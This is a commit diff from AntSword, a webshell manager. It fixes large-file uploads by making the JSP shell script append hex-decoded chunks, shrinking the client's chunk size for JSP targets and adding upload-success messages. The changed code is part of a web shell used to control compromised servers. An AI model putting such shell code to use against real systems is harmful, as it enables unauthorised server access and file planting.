Commit 85ac784a authored by Medicean's avatar Medicean

fix upload file too large

parent c6aff369
......@@ -22,7 +22,9 @@
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
ChangeLog:
Data: 2016/04/29 v1.2
v1.3
1. 修正上传文件超过1M时的bug
Date: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1
1. 修正下载文件参数设置错误
......@@ -185,7 +187,7 @@ ChangeLog:
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
......
......@@ -182,7 +182,7 @@
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
......
......@@ -232,6 +232,7 @@ module.exports = {
upload: {
task: {
name: 'Upload',
success: 'Upload success!',
failed: (err) => antSword.noxss(`Failed:${err}`),
error: (err) => antSword.noxss(`Error:${err}`)
},
......
......@@ -233,6 +233,7 @@ module.exports = {
upload: {
task: {
name: '上传',
success: '上传成功',
failed: (err) => antSword.noxss(`失败:${err}`),
error: (err) => antSword.noxss(`出错:${err}`)
},
......
......@@ -632,8 +632,11 @@ class FileManager {
// 上传单个
let buffIndex = 0;
let buff = [];
// 分段上传大小,默认1M
let dataSplit = 1024 * 1024;
// 分段上传大小,默认0.5M(jsp 超过1M响应会出错)
let dataSplit = 512 * 1024;
if (this.opts['type'].toLowerCase() === 'php') {
dataSplit = 1024 * 1024
}
let task = tasks[filePath];
// 获取文件名
let fileName = filePath.substr(filePath.lastIndexOf('/') + 1);
......@@ -659,7 +662,7 @@ class FileManager {
res(_b);
}else{
// 上传完毕
task.success('100%');
task.success(LANG['upload']['task']['success']);
toastr.success(LANG['upload']['success'](fileName), LANG_T['success']);
// 刷新缓存
this.files.refreshPath(path === this.path ? '' : path);
......@@ -668,7 +671,7 @@ class FileManager {
}
}).then((b) => {
// 更新进度条
task.update(`${parseInt((buffLength - _buff.length) / buffLength * 100)}%`);
task.update(`${parseInt((buffLength - (b.length * _buff.length)) / buffLength * 100)}%`);
this.core.request(
this.core.filemanager.upload_file({
path: path + fileName,
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment